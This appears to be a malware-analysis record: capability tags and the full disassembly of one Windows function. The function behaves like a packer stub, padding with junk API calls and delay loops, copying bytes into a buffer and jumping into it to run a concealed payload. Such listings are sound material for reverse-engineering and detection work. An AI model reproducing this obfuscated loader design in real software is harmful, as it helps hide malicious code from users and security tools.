Function at 0x41e55e
Capabilities:
Check for software breakpoints
Copy file
Get common file path
Set console window title

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x259c
call fcn.0040fd00
mov eax, dword [0x422004]
xor eax, ebp
mov dword [ebp - 8], eax
and dword [ebp - 4], 0
jmp 0x41e582
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x365ea9e0
jge 0x41e5d1
cmp dword [0x42499c], 0xc31
jne 0x41e59d
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 4], 0x925f9c4
jle 0x41e5cf
cmp dword [0x42499c], 0xa
jne 0x41e5cd
lea eax, [ebp - 0x68]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFile]
jmp 0x41e5d1
jmp 0x41e57b
and dword [ebp - 0x6c], 0
jmp 0x41e5de
mov eax, dword [ebp - 0x6c]
inc eax
mov dword [ebp - 0x6c], eax
cmp dword [ebp - 0x6c], 0x5f6c74
jge 0x41e5fc
cmp dword [ebp - 0x6c], 0x562d05
jne 0x41e5fa
mov eax, dword [0x422c68]
mov dword [0x4249fc], eax
jmp 0x41e5d7
cmp dword [0x42499c], 0x7c
jne 0x41e67c
push 0
lea eax, [ebp - 0xc70]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
push 0
push 0
push 0
push str.gijarudomuki
push str.gebacalace
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExA]
cmp dword [0x42499c], 0x2d
jne 0x41e668
lea eax, [ebp - 0xc88]
push eax
call dword [sym.imp.KERNEL32.dll_TryEnterCriticalSection]
cmp dword [0x42499c], 0x54
jne 0x41e67c
push str.Barazaxim_jabotabuveg_joneya_kadadixop_mimuza
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x42499c], 0x110a
jne 0x41e7bb
and dword [0x424988], 0
and dword [0x42498c], 0
cmp dword [0x42499c], 0xcc
jne 0x41e6c8
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [0x424658], 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
lea eax, [ebp - 0xc90]
push eax
lea eax, [ebp - 0x2548]
push eax
push str.Tosesorewifo_jopamonisi_hix_cim_kuh
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.wevisodomasamonacocidazegoluhocirakuduciwekunasigilamepidepiyupiwowazovopejibokewizi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0
lea eax, [ebp - 0x1490]
push eax
push str.zituvehaziyepilegeyehezesekemidelapuzayuzajebivironemus
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapSize]
push 0
push 0
call fcn.0040118b
pop ecx
pop ecx
push 0
push 0
call fcn.004011cb
pop ecx
pop ecx
push 0
push 0
call fcn.0040118b
pop ecx
pop ecx
mov eax, dword [0x420ed0]
mov dword [ebp - 0x2090], eax
push 0x7fc
push 0
lea eax, [ebp - 0x208c]
push eax
call fcn.00404b20
add esp, 0xc
lea eax, [ebp - 0x1890]
mov dword [ebp - 0xc8c], eax
push 0
push 0
call fcn.0040118b
pop ecx
pop ecx
push 0
call fcn.00401123
pop ecx
call fcn.0041e226
and dword [ebp - 0x254c], 0
jmp 0x41e7d6
mov eax, dword [ebp - 0x254c]
inc eax
mov dword [ebp - 0x254c], eax
mov eax, dword [ebp - 0x254c]
cmp eax, dword [0x42499c]
jae 0x41e83c
mov eax, dword [0x4249fc]
mov dword [ebp - 0x2550], eax
mov eax, 0xa231
add dword [ebp - 0x2550], eax
mov eax, dword [0x4248e4]
add eax, dword [ebp - 0x254c]
mov ecx, dword [ebp - 0x2550]
add ecx, dword [ebp - 0x254c]
mov cl, byte [ecx]
mov byte [eax], cl
cmp dword [0x42499c], 0x5ab
jne 0x41e83a
lea eax, [ebp - 0x256c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualUnlock]
jmp 0x41e7c9
call fcn.0041e2e8
call fcn.0041e23b
push 0x422c70
call fcn.0041e4b2
pop ecx
and dword [ebp - 0x2570], 0
jmp 0x41e867
mov eax, dword [ebp - 0x2570]
inc eax
mov dword [ebp - 0x2570], eax
cmp dword [ebp - 0x2570], 0x15a63d
jge 0x41e890
cmp dword [ebp - 0x2570], 0xbd9cb
jne 0x41e88e
mov eax, dword [0x4248e4]
add eax, 0
mov dword [0x4248e4], eax
jmp 0x41e85a
jmp dword [0x4248e4]